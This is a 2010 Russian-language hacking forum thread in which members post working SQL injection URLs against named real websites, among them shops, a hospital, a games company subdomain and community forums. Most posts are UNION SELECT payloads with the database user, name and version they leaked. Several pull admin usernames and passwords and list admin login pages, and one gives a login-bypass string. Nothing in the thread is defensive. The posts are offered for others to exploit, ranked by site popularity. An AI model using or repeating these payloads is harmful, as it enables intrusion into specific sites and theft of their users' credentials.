SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://spinet.ru/voting/stat.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3--
    Username: spinetru@localhost
    Database: spinetru
    Version: 5.0.26-lk-log

    PR: 5
    тИЦ: 1100
     
    #11581 root_sashok, 24 Mar 2010
    Last edited: 24 Mar 2010
  2. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.permabond.ru/announce/?id=-177+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
    User: permabond_ru@localhost
    Database: permabond_ru
    Version: 5.0.45
     
    1 person likes this.
  3. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://www.ies-europe.org/event.php?article_id=183+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4--
    User: web20@localhost
    Database: usr_web20_1
    Version: 5.0.90
     
    3 people like this.
  4. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Держите шоколадку :D
    Code:
    http://www.shokoladka.ru/info.php?id=-177%27+union+select+1,2,3,4,5,6,7,8,9+--+
    Version: 5.1.37
    Database: shokoladka
    User: ksh@localhost
     
    3 people like this.
  5. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://www.westcomp.ru/pricepos.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
    User: westcomp1@localhost
    Database: db_westcomp1
    Version: 5.0.51a-community

    Как вам сайтик? ;)
     
    3 people like this.
  6. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    PR 6
    Code:
    http://www.pelamiswave.com/news.php?id=26&categoryId=-3+union+select+1,2,3,4,5,6,7,8,concat(username,0x20,password),10,11,12,13,14,15,16,17+from+cmsUsers--
    5.0.68
    pelamiswave.com@localhost
    pelamiswave_com
     
  7. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    www.foxclub.ru 6k юзеров зарегено
    http://www.foxclub.ru/api/api.php?act=list&kat=-4'+union+select+1,2,3,concat_Ws(0x3a3a,username,password,email,admin)+from+ph515_users+--+

    http://forum.foxclub.ru/login.php
    http://forum.foxclub.ru/admin.php
    http://www.foxclub.ru/imgal/login.php?referer=admin.php
     
    2 people like this.
  8. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    официальный сервер Казахстана

    ТИц 275

    PR 4

    Code:
    http://www.kazakh.ru/photo/view.phtml?id=-573+union+select+1,2,3,4,concat(nikname,0x20,nikpass,0x20,admin_ok,,0x20,admin_nikkazakhemailyes),6,7,8,9,10+FROM+nik--
     
  9. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://www.pertechresources.com/products/catalog.php?product=48+union+select+1,unhex(hex(concat_ws(0x3a,user(),database(),version()))),3,4,5,6,7,8--
    User: [email protected]
    Database: pertech
    Version: 4.1.14-Debian_5-log

    Code:
    http://www.dataman.nl/site/base.php?lang=nl&cat_id=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7,8,9,10,11--
    User: dbuser@localhost
    Database: dataman
    Version: 4.1.20
     
    #11589 root_sashok, 25 Mar 2010
    Last edited: 25 Mar 2010
  10. jecka3000

    jecka3000 Elder - Старейшина

    Joined:
    15 Mar 2008
    Messages:
    360
    Likes Received:
    54
    Reputations:
    4
    Code:
    http://www.navanac.ie/pages.php?id=-2+union+select+concat(version(),0x20,user(),0x20,database())--
    5.0.89-log
    [email protected]
    c3po_alba



    Code:
    http://www.sonistics.com/pages.php?id=-6+union+select+1,concat(version(),user(),database())--
    5.0.67-community
    sonistic_db@localhost
    sonistic_db


    Code:
    http://www.thereddstone.com/pages.php?id=-3+and+1=2+union+select+1,concat(version(),0x20,user(),0x20,database()),3,4--
    5.0.32-Debian_7etch11-log
    thereddsto215406@localhost
    phpmy1_thereddstone_com


    Code:
    http://www.rhinossoccer.com/pages.php?id=-23+union+select+1,2,3,concat(username,0x20,lastname,0x20,permissions),5,6,7,8,9,10,11+from+admins--
    Code:
    http://www.inf-fni.org/pages.php?id=-7+union+select+1,2,3,4,concat(username,0x20,password),6,7,8,9,10,11,12+from+administrator--
     
    1 person likes this.
  11. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://why2.org/listings/index.php?c=5&s1=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version())--
    User: why2org_why2_db@localhost
    Database: why2org_why2_db
    Version: 5.0.89-community

    Code:
    http://www.casa-nova-bucalo.de/index.php?page_id=7+union+select+concat_ws(0x3a,user(),database(),version())--
    User: sismedia@localhost
    Database: 10402_sismedia
    Version: 4.1.22
     
    #11591 root_sashok, 25 Mar 2010
    Last edited: 25 Mar 2010
    1 person likes this.
  12. CyberHunter

    CyberHunter Active Member

    Joined:
    6 Jan 2010
    Messages:
    601
    Likes Received:
    116
    Reputations:
    37
    Code:
    http://www.morehate.com/bands.php?id=-34+union+select+1,2,3,4+--+
    Version: 4.1.25-log
    User: morehat1_karalez@localhost
    Database: morehat1_morehate

    Code:
    http://www.ledohod.com.ua/index.php?id=-34'+union+select+1,2,3,4,5,6+--+
    Version: 5.0.89-community-log
    User:
    ledohodc_ledohod@localhost
    Database:
    ledohodc_ledohod
     
    #11592 CyberHunter, 25 Mar 2010
    Last edited: 25 Mar 2010
    2 people like this.
  13. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://www.gtk.fi/slr/author.php?id=-1+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version()),7,8--
    User: slr@localhost
    Database: slr
    Version: 5.0.77,7
     
    1 person likes this.
  14. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    http://www.r2.com.au/software.php?page=2&show=hideoe'+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5+--+
     
    2 people like this.
  15. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://www.stevenalan.com/product.php?defvarid=1666&productid=16316&cat=933&manufacturerid=1+union+select+concat_ws(0x3a,user(),database(),version())--
    User: stevenshop@localhost
    Database: steven_shop
    Version: 4.1.22-standard-log

    Code:
    http://blacknetdaily.com/index.php?p=read&a=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
    User: [email protected]
    Database: bndaily
    Version: 4.1.22-max-log
     
    #11595 root_sashok, 25 Mar 2010
    Last edited: 25 Mar 2010
    1 person likes this.
  16. AKYLA

    AKYLA Elder - Старейшина

    Joined:
    29 Nov 2007
    Messages:
    108
    Likes Received:
    35
    Reputations:
    6
    Database Version: 5.0.86
    System User: macdirect@localhost
    Host Name: server.macdirectory.com
    Installation dir: /usr/
    DB User: 'macdirect'@'localhost'
    Базы: information_schema
    macdirect_ad
    macdirect_db
    test
    Система: Joomla
    PR 5
    ТиЦ 10
     
  17. b82a

    b82a Elder - Старейшина

    Joined:
    7 Feb 2010
    Messages:
    150
    Likes Received:
    48
    Reputations:
    25
    User: ieye_user@localhost
    Database: ieye_ieye
    Version: 4.1.22-standard
     
    1 person likes this.
  18. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://www.cbdc.ca/stories.php?id=-1+union+select+1,concat_ws(0x3a,user(),database(),version())--
    User: web6u1@localhost
    Database: web6db1
    Version: 5.0.7

    PR 5.

    Code:
    http://www.fotoskaitmena.lt/content.php?id=66+union+select+concat_ws(0x3a,11111,user(),database(),version())--
    User: dwk@localhost
    Database: dwk
    Version: 5.0.45

    11111 в данном случае не несет никакой информации, но помогает вывести User'a.
     
    #11598 root_sashok, 26 Mar 2010
    Last edited: 26 Mar 2010
    1 person likes this.
  19. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    admin" or "admin"="admin" /*
    пасс любой
    admin" or "admin"="admin" /*
    пасс любой
     
    #11599 Strilo4ka, 26 Mar 2010
    Last edited: 26 Mar 2010
  20. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    Code:
    http://www.stnicholashospital.org/providers/provider_info.php?pp=142+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0x3a,user(),database(),version()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+--+
    User: stnick_cat@localhost
    Database: stnick_catalog
    Version: 5.0.89-community-log

    PR 5.

    Code:
    http://der-antiaggressionstrainer.com/galerie/view.php?id=2+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14--
    User: patrik@localhost
    Database: galerie
    Version: 5.0.45

    Code:
    http://masfan.com/index.php?component=ecommerce&action=view&id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat_ws(0x3a,user(),database(),version()),18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+--+
    Красивый сайт с кучей полей.

    User: masfanс_masfan@localhost
    Database: masfanс_masfan
    Version: 5.0.89-community-log

    Code:
    http://cmx.ubi.com/viewpgn.php?gameid=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version())--
    Смотрите-ка, что я нашел. За ваши дальнейшие действия не отвечаю... Хотя, таблицы достать нельзя. Не знаю, что вам там в голову придет. Так, запостил для информации.

    User: [email protected]
    Database: cmx
    Version: 5.0.45-log
     
    #11600 root_sashok, 26 Mar 2010
    Last edited: 26 Mar 2010
    2 people like this.
Thread Status:
Not open for further replies.